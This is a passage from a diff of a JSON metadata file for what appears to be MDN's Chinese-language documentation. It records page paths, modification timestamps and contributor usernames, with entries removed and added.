"毛毛_", - "name-dingding", - "raoenhui", - "412799755", - "Hourann", - "XiangHongAi", - "jiladahe1997", - "zhangchen", - "WPH2017", - "xgqfrms-GitHub", - "jdk137", - "yatace", - "helloguangxue", - "Ende93", - "wonyun", - "denghongcai", - "teoli", - "ziyunfei" + "hellojackhui" ] }, - "Web/JavaScript/Reference/Statements/for...of": { - "modified": "2020-10-15T21:07:54.800Z", + "Tools/Tips": { + "modified": "2020-07-16T22:36:36.674Z", "contributors": [ - "sendudu", - "mouming", - "houzp", - "zgj233", - "osramywj", - "Joker09", - "Jiang-Xuan", - "charliex2", - "zhangchen", - "killsos", - "xgqfrms-GitHub", - "zhuangyin", - "yihuan", - "yanlee26", - "dingxu", - "lsvih", - "imnodb", - "Ende93", - "iamchenxin", - "teoli", - "ziyunfei" + "Argon-Pub", + "wbamberg", + "ShirleyM" ] }, - "Web/JavaScript/Reference/Statements/function": { - "modified": "2020-12-02T02:36:07.313Z", + "Mozilla/Firefox/Releases/3/Updating_extensions": { + "modified": "2019-12-13T20:33:30.985Z", "contributors": [ - "zhuangyin", - "frankfang1990", - "maicss", - "xgqfrms-GitHub", - "helloguangxue", - "yenshen", - "teoli", - "ielgnaw" + "wbamberg", + "ziyunfei", + "Sheppy", + "phenix", + "Loveunk" ] }, - "Web/JavaScript/Reference/Statements/function*": { - "modified": "2020-10-15T21:27:24.673Z", + "Web/Guide/Introduction_to_Web_development": { + "modified": "2019-03-24T00:00:33.366Z", "contributors": [ - "HCSkatana", - "kingsley2036", - "RoXoM", - "Jiang-Xuan", - "ywjco", - "picc-lu", - "pot-code", - "righttoe", - "kdex", - "xgqfrms-GitHub", - "ShupingLiu", - "lunix01", - "simongfxu", "ziyunfei", - "fskuok", - "teoli" + "fantasticfears" ] }, - "Web/JavaScript/Reference/Statements/if...else": { - "modified": "2020-10-15T21:32:24.204Z", + "Web/Accessibility/ARIA/Roles/button_role": { + "modified": "2019-03-23T22:05:01.811Z", "contributors": [ - "maoyumaoxun", - "zhangchen", - "jjc", - "TimmyKingFree", - "Hugh", - "connie77", - "yenshen" + "TiaossuP" ] }, - "Web/JavaScript/Reference/Statements/import": { - "modified": "2020-10-15T21:36:46.597Z", + "Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-hidden_attribute": { + "modified": "2019-10-31T22:25:58.797Z", + "contributors": [ + "YoMiao", + "civerzhang" + ] + }, + "orphaned/Web/API/AnalyserNode/fft": { + "modified": "2019-03-18T20:44:28.140Z", "contributors": [ - "SunnyDayLily", - "laampui", - "brizer", - "TeabugCC", "RainSlide", - "daihaoxin", - "jason-grimm", - "jjyyxx", - "Ende93", - "zhangchen", - "xgqfrms-GitHub", - "xiaomingming", - "Jiang-Xuan", - "houbx", - "taokd", - "Skyang", - "larntin", - "bambooom", - "ziyunfei", - "wengeezhang", - "sartrey", - "WangZishi" + "GabrielchenCN" ] }, - "Web/JavaScript/Reference/Statements/import.meta": { - "modified": "2020-10-15T22:07:59.455Z", + "Web/API/BaseAudioContext/createAnalyser": { + "modified": "2019-03-23T22:51:30.295Z", "contributors": [ - "gitHber", - "JonathanLee-LX" + "Ambar", + "ayqy" ] }, - "Web/JavaScript/Reference/Statements/label": { - "modified": "2020-10-15T21:31:44.464Z", + "Web/API/BaseAudioContext/createBiquadFilter": { + "modified": "2019-03-23T22:19:40.757Z", "contributors": [ - "xgqfrms", - "RainSlide", - "zhangchen", - "delkaka", - "AlexChao" + "feewb", + "yqjiang" ] }, - "Web/JavaScript/Reference/Statements/let": { - "modified": "2020-10-15T21:07:01.000Z", + "Web/API/BaseAudioContext/createBuffer": { + "modified": "2019-03-23T22:49:27.952Z", "contributors": [ - "Snailight", - "卡尔维斯特", - "JameMoriarty", - "yangnaiyue", - "Zhang-Junzhi", - "wongxiao", - "Ende93", - "jzz2649", - "SphinxKnight", - "Lan1967", - "Freezer", - "alexzaolin", - "JunjieCai", - "ilyp", - "ssttii", - "jcguang", - "mathxlee", - "ywjco", - "zhangchen", - "yingying", - "frankfang1990", - "swfbarhr", - "xgqfrms-GitHub", - "mr.code", - "artificial", - "leafdog", - "yangzongjie", - "ZhiRui", - "ZhanghaoH", - "ChuckZhang", - "Go7hic", - "highsea", - "panhezeng", - "kemchenj", - "lunix01", - "dondevi", - "hang", - "Rococolate", - "ouonet", - "ziyunfei", - "WangZishi", - "Junjie_Wei", - "teoli", - "nightire", - "ted423" + "Taoja", + "LiuTong", + "Losses" ] }, - "Web/JavaScript/Reference/Statements/return": { - "modified": "2020-10-15T21:32:16.829Z", + "Web/API/BaseAudioContext/createBufferSource": { + "modified": "2019-03-23T22:26:08.102Z", "contributors": [ - "xianshenglu", - "zhangchen", - "Ende93", - "AlexChao" + "Taoja" + ] + }, + "Web/API/BaseAudioContext/createChannelMerger": { + "modified": "2019-03-23T22:21:54.996Z", + "contributors": [ + "win7killer" + ] + }, + "Web/API/BaseAudioContext/createChannelSplitter": { + "modified": "2019-03-23T22:19:41.394Z", + "contributors": [ + "yqjiang" + ] + }, + "Web/API/BaseAudioContext/createConvolver": { + "modified": "2019-03-23T22:31:06.367Z", + "contributors": [ + "TomdyQin" ] }, - "Web/JavaScript/Reference/Statements/switch": { - "modified": "2020-10-15T21:31:42.513Z", + "Web/API/BaseAudioContext/createDelay": { + "modified": "2019-03-23T22:16:38.056Z", "contributors": [ - "rianma", - "jfw10973", - "RainSlide", - "ywjco", - "zhangchen", - "PaperFlu", - "FAOfao931013", - "xgqfrms-GitHub", - "AlexChao", - "xin" + "wang_geng", + "jb145161" ] }, - "Web/JavaScript/Reference/Statements/throw": { - "modified": "2020-10-15T21:17:26.144Z", + "Web/API/BaseAudioContext/createScriptProcessor": { + "modified": "2020-03-24T04:10:23.984Z", "contributors": [ - "koalaxiaot", - "zhangchen", - "xgqfrms-GitHub", - "fanpaa", - "soulxy", - "onetwogoo", - "iFish", - "teoli", - "Mickeyboy" + "frankyoung0305", + "zwmin", + "fanmingfei", + "Remond", + "Melo.HG" ] }, - "Web/JavaScript/Reference/Statements/try...catch": { - "modified": "2020-10-15T21:35:35.752Z", + "Web/API/BaseAudioContext/createWaveShaper": { + "modified": "2019-03-23T22:15:28.242Z", "contributors": [ - "zhangchen", - "Lan1967", - "cddsgtc", - "Xheldon", - "gooqiao", - "llwanghong", - "YouHeng", - "xgqfrms-GitHub", - "Hugh", - "helloguangxue", - "TUKOMI", - "ziyunfei", - "licop" + "SHALLYKL" ] }, - "Web/JavaScript/Reference/Statements/var": { - "modified": "2020-10-15T21:29:22.023Z", + "Web/API/BaseAudioContext/currentTime": { + "modified": "2019-03-23T22:52:18.954Z", "contributors": [ - "FloydTsai", - "RainSlide", - "zhangchen", - "AymaxLi", - "xgqfrms-GitHub", - "The-End-Hero", - "loddit", - "lunix01", - "AlexChao", - "SphinxKnight", - "Fify" + "ayqy" ] }, - "Web/JavaScript/Reference/Statements/while": { - "modified": "2020-10-15T21:31:43.063Z", + "Web/API/BaseAudioContext/decodeAudioData": { + "modified": "2019-03-23T22:36:34.575Z", "contributors": [ - "RainSlide", - "zhangchen", - "ziyunfei", - "AlexChao" + "Taoja", + "huangxok" ] }, - "Web/JavaScript/Reference/Statements/with": { - "modified": "2020-10-15T21:29:35.662Z", + "Web/API/BaseAudioContext/destination": { + "modified": "2019-03-23T22:52:09.137Z", "contributors": [ - "SadWood", - "yangtoude", - "zhangchen", - "abc45628", - "xgqfrms-GitHub", - "kiling", - "wizardforcel", - "YFM-getA", - "jonkee", - "SphinxKnight", - "front" + "ayqy" ] }, - "Web/JavaScript/Reference/Strict_mode": { - "modified": "2020-03-12T19:35:37.779Z", + "Web/API/BaseAudioContext/listener": { + "modified": "2019-03-23T22:52:15.612Z", "contributors": [ - "xrkffgg", - "gaoyia", - "qiufeihong2018", - "Opelar", - "hmsz", - "amandameng", - "zhangchen", - "recursion", - "JuFoFu", - "qiu_han", - "tsejx", - "righttoe", - "xgqfrms-GitHub", - "holynewbie", - "nanflower", - "weimengxi", - "xuzicn", - "Qcui", - "Toweave", - "zilong-thu", - "anitawho", - "laoxubuer", - "knightf", - "Jack.Works", - "Dijason", - "ziyunfei", - "yaway", - "iahu", - "mountainmoon", - "Frantic1048", - "Darrel.Hsu", - "ReyCG", - "teoli", - "endlesswind" + "ayqy" ] }, - "Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode": { - "modified": "2020-03-12T19:38:14.564Z", + "orphaned/Web/API/AudioContext/mozAudioChannelType": { + "modified": "2019-03-23T22:52:10.983Z", "contributors": [ - "vincentdd", - "weimengxi", - "gavinjs", - "zjjott", - "ziyunfei", - "yenshen", - "teoli" + "ayqy" ] }, - "Web/JavaScript/Reference/Trailing_commas": { - "modified": "2020-10-15T21:52:12.920Z", + "Web/API/BaseAudioContext/onstatechange": { + "modified": "2019-03-23T22:52:09.265Z", "contributors": [ - "RainSlide", - "zhangchen", - "wizardforcel" + "ayqy" ] }, - "Web/JavaScript/Reference/template_strings": { - "modified": "2020-10-15T21:37:03.468Z", + "Web/API/BaseAudioContext/sampleRate": { + "modified": "2019-03-23T22:52:21.186Z", "contributors": [ - "SphinxKnight", - "fanky-huang", - "崮生", - "zhangchen", - "zouyang1230", - "aimishan", - "pujiaxun", - "ZQH", - "LNY", - "ywjco", - "winjeysong", - "xgqfrms-GitHub", - "lihx_hit", - "donyaw", - "Ende93", - "lukywong", - "FredWe" + "ayqy" ] }, - "Web/JavaScript/Shells": { - "modified": "2020-09-04T03:12:55.502Z", + "Web/API/BaseAudioContext/state": { + "modified": "2019-03-23T22:52:21.050Z", "contributors": [ - "a1157116165", - "StorytellerF", - "pluwen", - "sonymoon", - "pelligit", - "maicss" + "ayqy" ] }, - "Web/JavaScript/The_performance_hazards_of__[[Prototype]]_mutation": { - "modified": "2020-03-12T19:49:00.824Z", + "orphaned/Web/API/AudioNode/connect(AudioParam)": { + "modified": "2019-03-23T22:18:48.818Z", "contributors": [ - "Rominez", - "suhan" + "smilewalker" ] }, - "Web/JavaScript/Typed_arrays": { - "modified": "2020-10-15T21:26:17.964Z", + "Web/API/CanvasCaptureMediaStreamTrack": { + "modified": "2019-03-18T21:16:31.622Z", "contributors": [ - "norton-lee", - "ThomasWhyne", - "nkliyc", - "AngeloZ", - "zhangchen", - "wblovezqy", - "jing-y", - "lvsiyuan", - "xgqfrms-GitHub", - "JoyZF", - "jianzhou", - "lon", - "ngtmuzi", - "Amme", - "troywith77", - "ipy", - "teoli", - "zekai.zheng" + "scplay" ] }, - "Web/JavaScript/javascript(起步)": { - "modified": "2019-03-23T22:54:49.824Z", + "Web/API/Channel_Messaging_API/Using_channel_messaging": { + "modified": "2020-10-15T22:33:04.421Z", "contributors": [ - "Rupengkun" + "cheiron" ] }, - "Web/Localization": { - "modified": "2020-05-28T07:36:01.726Z", + "Web/API/CSSPageRule": { + "modified": "2020-10-15T22:24:48.715Z", "contributors": [ - "RoyZ", - "faliye" + "hongz1125" ] }, - "Web/Manifest": { - "modified": "2019-10-29T05:08:14.882Z", + "Web/API/Ambient_Light_Events": { + "modified": "2020-10-15T21:34:12.225Z", "contributors": [ - "7NZ", - "mySoul", - "flyingsouthwind", - "varcat", - "_da", - "xgqfrms-GitHub" + "RainSlide", + "fskuok" ] }, - "Web/Manifest/background_color": { - "modified": "2020-10-15T22:31:53.672Z", + "orphaned/Web/API/Document/cookie/Simple_document.cookie_framework": { + "modified": "2019-03-18T20:55:13.743Z", "contributors": [ - "wobuhuisuanmin", - "wr20060926" + "Tommy-White", + "xgqfrms-GitHub" ] }, - "Web/MathML": { - "modified": "2020-10-15T21:25:04.339Z", + "Web/API/Document/fullscreen": { + "modified": "2019-06-11T23:50:44.389Z", "contributors": [ - "RainSlide", - "Anonymous86x69ashe", - "pluwen", - "linmx0130", - "lunix01", - "fred.wang", - "fscholz" + "xiaoxingchi", + "hb-bobo", + "codeofjackie", + "teoli", + "AshfaqHossain", + "ziyunfei" ] }, - "Web/MathML/Attribute": { - "modified": "2019-03-23T22:52:18.616Z", + "Web/API/DocumentOrShadowRoot/fullscreenElement": { + "modified": "2019-03-24T00:17:55.698Z", "contributors": [ - "luneice", - "FredWe" + "teoli", + "jsx", + "ziyunfei" ] }, - "Web/MathML/Authoring": { - "modified": "2019-10-27T00:08:11.337Z", + "Web/API/Document/fullscreenEnabled": { + "modified": "2019-03-24T00:17:54.483Z", "contributors": [ - "RainSlide", - "fanxiaojie", - "FredWe" + "teoli", + "khalid32", + "ziyunfei" ] }, - "Web/MathML/Element": { - "modified": "2020-03-31T12:28:08.721Z", + "Web/API/DocumentOrShadowRoot/pointerLockElement": { + "modified": "2019-03-23T22:20:46.971Z", "contributors": [ - "RainSlide", - "qson", - "ziyunfei", - "a.stone" + "876843240" ] }, - "Web/MathML/Element/maction": { - "modified": "2019-03-18T21:42:16.631Z", + "Web/API/Document/touchmove_event": { + "modified": "2019-04-30T14:14:32.752Z", "contributors": [ - "LiuYuan" + "wbamberg", + "irenesmith", + "fscholz", + "zhaosource" ] }, - "Web/MathML/Element/math": { - "modified": "2019-03-23T22:48:38.735Z", + "Web/API/Element/DOMActivate_event": { + "modified": "2020-10-15T22:15:27.177Z", "contributors": [ - "linmx0130" + "Carllllo", + "wbamberg", + "irenesmith", + "chenyanfei-m" ] }, - "Web/MathML/Element/mroot": { - "modified": "2019-03-18T21:42:14.503Z", + "Web/API/Document/onafterscriptexecute": { + "modified": "2019-03-24T00:15:00.171Z", "contributors": [ - "LiuYuan" + "wbamberg", + "teoli", + "khalid32", + "ziyunfei", + "zhangyaochun1987" ] }, - "Web/MathML/Element/mrow": { - "modified": "2020-10-15T22:25:33.815Z", + "orphaned/Web/API/Entity": { + "modified": "2020-06-03T01:07:43.853Z", "contributors": [ - "RainSlide" + "RainSlide", + "xgqfrms-GitHub" ] }, - "Web/MathML/Element/mspace": { - "modified": "2019-03-18T21:42:15.461Z", + "Web/API/Event/cancelBubble": { + "modified": "2019-03-23T22:20:20.011Z", "contributors": [ - "LiuYuan" + "shockw4ver", + "xgqfrms-GitHub", + "SuunZhu" ] }, - "Web/MathML/Element/msqrt": { - "modified": "2019-03-18T21:42:14.783Z", + "Web/API/AbortController/abort": { + "modified": "2020-10-15T22:22:26.939Z", "contributors": [ - "LiuYuan" + "cuiwei4869" ] }, - "Web/MathML/Element/msub": { - "modified": "2019-03-18T21:42:15.091Z", + "Web/API/AbortController/AbortController": { + "modified": "2020-10-15T22:10:15.849Z", "contributors": [ - "LiuYuan" + "xiiiAtCn" ] }, - "Web/MathML/Element/msubsup": { - "modified": "2020-10-15T22:28:42.346Z", + "Web/API/AbortController": { + "modified": "2020-10-15T21:56:50.608Z", "contributors": [ - "RainSlide" + "xgqfrms", + "chjxx", + "zhangchen", + "wuCrio" ] }, - "Web/MathML/Element/msup": { - "modified": "2020-10-15T22:01:09.939Z", + "orphaned/Web/API/FetchObserver": { + "modified": "2019-03-23T22:06:02.004Z", "contributors": [ - "RainSlide", - "LiuYuan" + "wuCrio" ] }, - "Web/MathML/Examples": { - "modified": "2019-10-26T23:25:14.524Z", + "Web/API/FileReader/abort_event": { + "modified": "2020-12-13T03:52:22.584Z", "contributors": [ - "RainSlide", - "Anonymous86x69ashe", - "Seattle", - "abc3660170", - "FredWe" + "VacantHusky" ] }, - "Web/MathML/Examples/Deriving_the_Quadratic_Formula": { - "modified": "2019-10-27T00:00:27.008Z", + "Web/API/FormData/delete": { + "modified": "2020-10-15T21:48:28.738Z", "contributors": [ "RainSlide", - "luneice" + "stevobm", + "tomi-li" ] }, - "Web/MathML/Examples/MathML_Pythagorean_Theorem": { - "modified": "2019-10-26T23:28:44.470Z", + "Web/API/Fullscreen_API/Guide": { + "modified": "2020-10-15T22:14:45.841Z", "contributors": [ - "RainSlide", - "Anonymous86x69ashe", - "Seattle" + "Soyaine", + "wuzy_oye" ] }, - "Web/Media/Formats": { - "modified": "2019-10-28T06:26:59.997Z", + "Web/API/Geolocation_API": { + "modified": "2019-07-01T03:42:53.000Z", "contributors": [ - "jswisher" + "aimilu", + "Syoogool", + "rongnianzu", + "rrandom", + "ziyunfei", + "Breezewish", + "shura-china", + "xcffl" ] }, - "Web/Media/Formats/Containers": { - "modified": "2020-11-01T10:00:22.590Z", + "Web/API/GeolocationPosition/timestamp": { + "modified": "2020-10-15T22:32:25.842Z", "contributors": [ - "happyxxj" + "liu-yanlong" ] }, - "Web/Media/Formats/Image_types": { - "modified": "2020-10-28T06:58:07.754Z", + "Web/API/GlobalEventHandlers/ondurationchange": { + "modified": "2020-10-15T22:21:15.042Z", "contributors": [ - "hylashyla", - "RainSlide" + "suvyme", + "amehito" ] }, - "Web/Media/Formats/视频编解码器": { - "modified": "2019-10-29T00:53:07.418Z", + "Web/API/HTMLAnchorElement/referrerPolicy": { + "modified": "2019-03-23T22:47:13.629Z", "contributors": [ - "zxhaha" + "ziyunfei" ] }, - "Web/Performance": { - "modified": "2020-07-21T05:10:44.104Z", + "Web/API/HTMLCanvasElement/captureStream": { + "modified": "2020-03-01T21:28:17.989Z", "contributors": [ - "lvbaiying", - "FE_pangxing", - "biqing", - "RainSlide", - "maoyougan", - "sqd123", - "chrisdavidmills", - "iceytea" + "jollybearchina", + "dxiaoqi" ] }, - "Web/Performance/CSS_JavaScript_animation_performance": { - "modified": "2020-07-29T00:36:34.087Z", + "Web/API/HTMLOrForeignElement/blur": { + "modified": "2019-03-23T22:00:21.147Z", "contributors": [ - "deping_chen", - "sunfeel", - "liangbus" + "teoli", + "fscholz", + "ziyunfei" ] }, - "Web/Performance/Critical_rendering_path": { - "modified": "2020-10-13T09:41:03.369Z", + "Web/API/HTMLOrForeignElement/dataset": { + "modified": "2019-08-08T12:52:36.012Z", "contributors": [ - "xgqfrms", - "HouGiser", - "HuiyingShen96", - "chafel" + "ilexwg", + "xgqfrms-GitHub", + "teoli", + "ziyunfei", + "ReyCG_sub", + "ReyCG" ] }, - "Web/Performance/Lazy_loading": { - "modified": "2020-10-13T09:10:51.078Z", + "Web/API/HTMLOrForeignElement/focus": { + "modified": "2020-10-15T21:06:47.253Z", "contributors": [ - "xgqfrms" + "RainSlide", + "slimeball", + "teoli", + "khalid32", + "ziyunfei" ] }, - "Web/Performance/Optimizing_startup_performance": { - "modified": "2019-03-23T22:00:17.334Z", + "Web/API/HTMLOrForeignElement/nonce": { + "modified": "2020-12-05T03:41:17.381Z", "contributors": [ - "chrisdavidmills", - "codeofjackie" + "hufeicom", + "chenqingyue" ] }, - "Web/Performance/Rum-vs-Synthetic": { - "modified": "2020-10-13T09:51:23.567Z", + "Web/API/ElementCSSInlineStyle/style": { + "modified": "2020-10-15T21:30:08.559Z", "contributors": [ - "xgqfrms" + "zhuangyin", + "xgqfrms-GitHub", + "distums", + "teoli", + "AlexChao" ] }, - "Web/Performance/dns-prefetch": { - "modified": "2020-10-13T10:51:56.349Z", + "Web/API/HTMLOrForeignElement/tabIndex": { + "modified": "2019-03-24T00:16:26.046Z", "contributors": [ - "xgqfrms", - "chrisdavidmills", - "caoweiju" + "teoli", + "Hasilt", + "sleepholic", + "ziyunfei" ] }, - "Web/Performance/浏览器渲染页面的工作原理": { - "modified": "2020-04-02T13:24:16.615Z", + "Web/API/Intersection_Observer_API/Timing_element_visibility": { + "modified": "2019-03-23T22:11:40.163Z", "contributors": [ - "Galaxy" + "xgqfrms-GitHub" ] }, - "Web/Progressive_web_apps": { - "modified": "2020-03-14T09:56:33.733Z", + "Web/API/MediaStream/addTrack": { + "modified": "2019-03-23T22:37:09.665Z", "contributors": [ - "Miahui", - "kkocdko", - "chrisdavidmills", - "sijimi", - "xgqfrms-GitHub", - "xgqfrms" + "w05163" ] }, - "Web/Progressive_web_apps/App_structure": { - "modified": "2020-05-31T18:38:01.454Z", + "orphaned/Web/API/MSSelection": { + "modified": "2020-02-27T01:47:20.687Z", "contributors": [ - "jin_wang", - "Miahui", - "xiao11lang", - "Mosan", - "githubxiaominge", - "liminjun", - "zjffun", - "alfred_chao95", - "chrisdavidmills", - "eightHundreds" + "MCCF" ] }, - "Web/Progressive_web_apps/Installable_PWAs": { - "modified": "2020-08-03T23:25:28.976Z", + "orphaned/Web/API/NameList": { + "modified": "2019-03-23T22:46:53.836Z", "contributors": [ - "SDUTWSL", - "nurob", - "Dht", - "Miahui", - "HDUCC", - "deping_chen" + "MeCKodo" ] }, - "Web/Progressive_web_apps/Introduction": { - "modified": "2019-08-21T09:58:46.102Z", + "orphaned/Web/API/NavigatorPlugins/测试滕盖": { + "modified": "2019-03-23T22:49:37.647Z", "contributors": [ - "jackupdown", - "zjffun", - "chrisdavidmills", - "eightHundreds", - "yijie_sun" + "ChenChenJoke" ] }, - "Web/Progressive_web_apps/Network_independent": { - "modified": "2019-03-18T20:52:05.037Z", + "Web/API/HTMLElement/innerText": { + "modified": "2020-10-15T21:50:36.703Z", "contributors": [ - "chrisdavidmills", - "liminjun", - "xgqfrms-GitHub" + "wuyou", + "RainSlide", + "keifergu", + "xgqfrms-GitHub", + "Aolose" ] }, - "Web/Progressive_web_apps/Offline_Service_workers": { - "modified": "2020-07-02T16:41:37.440Z", + "orphaned/Web/API/notification/sound": { + "modified": "2019-03-18T21:17:44.470Z", "contributors": [ - "showad", - "nurob", - "githubxiaominge", - "zjffun" + "ZZES_REN" ] }, - "Web/Progressive_web_apps/Re-engageable": { - "modified": "2019-03-18T20:52:04.596Z", + "Web/API/Notifications_API/Using_the_Notifications_API": { + "modified": "2020-03-18T06:57:06.393Z", "contributors": [ - "chrisdavidmills", - "liminjun" + "wangyb1026", + "Yifang-Tongxing", + "845056166", + "xgqfrms-GitHub", + "Hawkeyes_Wind" ] }, - "Web/Progressive_web_apps/Re-engageable_Notifications_Push": { - "modified": "2020-05-31T18:38:17.693Z", + "Web/API/OfflineAudioContext/complete_event": { + "modified": "2020-10-15T22:17:22.684Z", "contributors": [ - "nurob", - "githubxiaominge" + "ewfian", + "ljx23136138" ] }, - "Web/Progressive_web_apps/Responsive": { - "modified": "2019-03-18T20:52:04.806Z", + "Web/API/Performance/memory": { + "modified": "2020-10-15T22:29:17.983Z", "contributors": [ - "chrisdavidmills", - "liminjun" + "biqing" ] }, - "Web/Progressive_web_apps/Responsive/responsive_design_building_blocks": { - "modified": "2020-11-17T04:04:41.165Z", + "Web/API/Crypto/getRandomValues": { + "modified": "2020-10-15T21:53:31.704Z", "contributors": [ - "DingGuangbo" + "RainSlide", + "ywjco", + "micblo" ] }, - "Web/Progressive_web_apps/优势": { - "modified": "2019-04-18T12:23:20.526Z", + "Web/API/Response/clone": { + "modified": "2019-03-23T22:03:57.353Z", "contributors": [ - "chenronghui" + "Ende93", + "xiaoxiaojx" ] }, - "Web/Progressive_web_apps/加载": { - "modified": "2019-08-31T10:29:37.985Z", + "Web/API/Screen_Capture_API/Using_Screen_Capture": { + "modified": "2020-09-27T04:18:52.593Z", "contributors": [ - "githubxiaominge" + "Bigsomg", + "hzy" ] }, - "Web/Progressive_web_apps/添加到主屏幕": { - "modified": "2019-11-13T02:27:54.714Z", + "Web/API/Selection/deleteFromDocument": { + "modified": "2019-03-23T22:25:17.531Z", "contributors": [ - "JC-Ge" + "FormatFa" ] }, - "Web/Reference": { - "modified": "2019-03-18T21:10:51.690Z", + "Web/API/Streams_API/Using_readable_streams": { + "modified": "2019-08-08T09:43:09.249Z", "contributors": [ - "SphinxKnight", - "acuptea", - "rguanghui", - "huasheng", - "yangchengjian", - "liuwentianwtu", - "jack7758", - "ValkyrieLawliet", - "ZhangKaiqiang", - "colin-zhou", - "ziyunfei", - "Sheppy" + "qushuangru" ] }, - "Web/Reference/API": { - "modified": "2020-02-06T00:29:14.463Z", + "Web/API/Streams_API/Concepts": { + "modified": "2020-10-27T00:49:21.364Z", "contributors": [ - "RainSlide", - "yongxiaodu", - "micblo", - "kevinfszu", - "yfdyh000", - "zmh_w", - "tangxiaobaobao", - "ziyunfei", - "noscripter", - "hutuxu" + "xyzingh" ] }, - "Web/SVG": { - "modified": "2020-05-25T07:08:22.112Z", + "orphaned/Web/API/TextRange/text": { + "modified": "2020-02-26T01:25:35.461Z", "contributors": [ - "Adrian-Yan", - "RainSlide", - "pluwen", - "LalaChu", - "simongfxu", - "fanxiaojie", - "Metalooze", - "lunix01", - "charlie", - "johncido", - "cuixiping", - "huguowei", - "teoli", - "xcffl", - "LIXer" + "MCCF" ] }, - "Web/SVG/Applying_SVG_effects_to_HTML_content": { - "modified": "2020-10-21T05:14:10.197Z", + "Web/API/UIEvent/view": { + "modified": "2020-10-15T22:25:09.871Z", "contributors": [ - "Chellyyy", - "Kylexii", - "almond", - "AaronYehf", - "swingcat", - "SphinxKnight", - "fanxiaojie" + "pans9" ] }, - "Web/SVG/Attribute": { - "modified": "2020-06-11T11:15:23.661Z", + "Web/API/URL/password": { + "modified": "2020-10-15T22:20:32.740Z", "contributors": [ - "chanvin", - "RainSlide", - "fanxiaojie", - "slientomorrr", - "stevenvachon" + "zhangchen", + "jessieic", + "jinjin" ] }, - "Web/SVG/Attribute/From": { - "modified": "2019-03-23T22:07:46.163Z", + "Web/API/HTMLHyperlinkElementUtils/hash": { + "modified": "2020-02-24T00:59:03.514Z", "contributors": [ - "876843240" + "ikomom", + "xgqfrms-GitHub" ] }, - "Web/SVG/Attribute/Presentation": { - "modified": "2020-10-15T22:23:08.667Z", + "Web/API/HTMLHyperlinkElementUtils/href": { + "modified": "2019-03-23T22:13:56.960Z", "contributors": [ - "gogoend" + "xgqfrms-GitHub" ] }, - "Web/SVG/Attribute/accent-height": { - "modified": "2019-07-05T08:35:14.107Z", + "Web/API/HTMLHyperlinkElementUtils": { + "modified": "2020-10-15T21:33:08.803Z", "contributors": [ - "yvonneit" + "RainSlide", + "AyAmeng", + "teoli" ] }, - "Web/SVG/Attribute/accumulate": { - "modified": "2019-03-23T22:32:55.125Z", + "Web/API/HTMLHyperlinkElementUtils/origin": { + "modified": "2019-03-23T22:12:28.154Z", "contributors": [ - "fanxiaojie" + "xgqfrms-GitHub" ] }, - "Web/SVG/Attribute/alignment-baseline": { - "modified": "2019-07-05T08:35:05.656Z", + "Web/API/HTMLHyperlinkElementUtils/password": { + "modified": "2019-03-23T22:12:38.210Z", "contributors": [ - "liyongleihf2006", - "fanxiaojie" + "xgqfrms-GitHub" ] }, - "Web/SVG/Attribute/attributeName": { - "modified": "2019-03-23T22:46:42.034Z", + "Web/API/HTMLHyperlinkElementUtils/pathname": { + "modified": "2019-03-23T22:12:27.883Z", "contributors": [ - "fanxiaojie" + "xgqfrms-GitHub" ] }, - "Web/SVG/Attribute/attributeType": { - "modified": "2019-03-23T22:46:39.534Z", + "Web/API/HTMLHyperlinkElementUtils/search": { + "modified": "2019-03-23T22:16:26.271Z", "contributors": [ - "fanxiaojie" + "xgqfrms-GitHub", + "kameii" ] }, - "Web/SVG/Attribute/baseProfile": { - "modified": "2019-07-05T08:35:43.566Z", + "Web/API/HTMLHyperlinkElementUtils/toString": { + "modified": "2019-03-23T22:13:59.877Z", "contributors": [ - "leighcc" + "xgqfrms-GitHub" ] }, - "Web/SVG/Attribute/baseline-shift": { - "modified": "2019-03-23T22:46:48.235Z", + "Web/API/HTMLHyperlinkElementUtils/username": { + "modified": "2019-03-23T22:12:31.600Z", "contributors": [ - "fanxiaojie" + "xgqfrms-GitHub" ] }, - "Web/SVG/Attribute/begin": { - "modified": "2019-03-23T22:46:49.938Z", + "Web/API/Web_Audio_API/Best_practices": { + "modified": "2020-04-13T06:14:13.545Z", "contributors": [ - "wbamberg", - "fanxiaojie" + "KotoriK" ] }, - "Web/SVG/Attribute/calcMode": { - "modified": "2019-03-23T22:10:34.986Z", + "Web/API/WebGLRenderingContext/polygonOffset": { + "modified": "2020-10-15T22:09:39.645Z", "contributors": [ - "leedut" + "ZhaoYaoSheng" ] }, - "Web/SVG/Attribute/clip": { - "modified": "2020-10-15T21:39:26.851Z", + "Web/API/WebSocket/binaryType": { + "modified": "2020-10-15T22:11:38.195Z", "contributors": [ - "RainSlide", - "fanxiaojie" + "snowwolfjay", + "jaredhan418" ] }, - "Web/SVG/Attribute/clip-path": { - "modified": "2020-10-15T22:28:50.040Z", + "orphaned/Web/API/WebSockets_API/WebSocket_Server_Vb.NET": { + "modified": "2019-03-18T21:29:02.340Z", "contributors": [ - "jhchen6" + "xiaoyixiang" ] }, - "Web/SVG/Attribute/color": { - "modified": "2020-10-15T21:39:18.231Z", + "Web/API/WindowOrWorkerGlobalScope/clearInterval": { + "modified": "2020-10-15T21:21:33.193Z", "contributors": [ + "RainCruise", "RainSlide", - "fanxiaojie" - ] - }, - "Web/SVG/Attribute/cx": { - "modified": "2019-03-23T22:18:03.024Z", - "contributors": [ - "realstephenzhao", - "huainanhai" + "luojia", + "teoli", + "khalid32", + "ziyunfei" ] }, - "Web/SVG/Attribute/cy": { - "modified": "2019-03-18T21:22:46.371Z", + "orphaned/Web/API/Window/getAttention": { + "modified": "2020-10-15T22:21:28.407Z", "contributors": [ - "realstephenzhao" + "luoxue-victor" ] }, - "Web/SVG/Attribute/d": { - "modified": "2019-03-23T22:55:44.323Z", + "Web/API/WindowEventHandlers/onbeforeunload": { + "modified": "2019-05-09T03:05:32.709Z", "contributors": [ - "msyfls123", - "fanxiaojie", - "creamidea", - "charlie" + "johnlin0207", + "Etoile984816138", + "1Cr18Ni9", + "teoli", + "khalid32", + "ziyunfei", + "WenbingZheng" ] }, - "Web/SVG/Attribute/display": { - "modified": "2020-11-17T10:08:32.937Z", + "Web/API/WindowEventHandlers/onhashchange": { + "modified": "2020-10-15T21:06:52.013Z", "contributors": [ - "292514467", - "misakisaysyes", - "radial-hks" + "Arnie97", + "xgqfrms-GitHub", + "Ende93", + "vuji", + "teoli", + "khalid32", + "ziyunfei" ] }, - 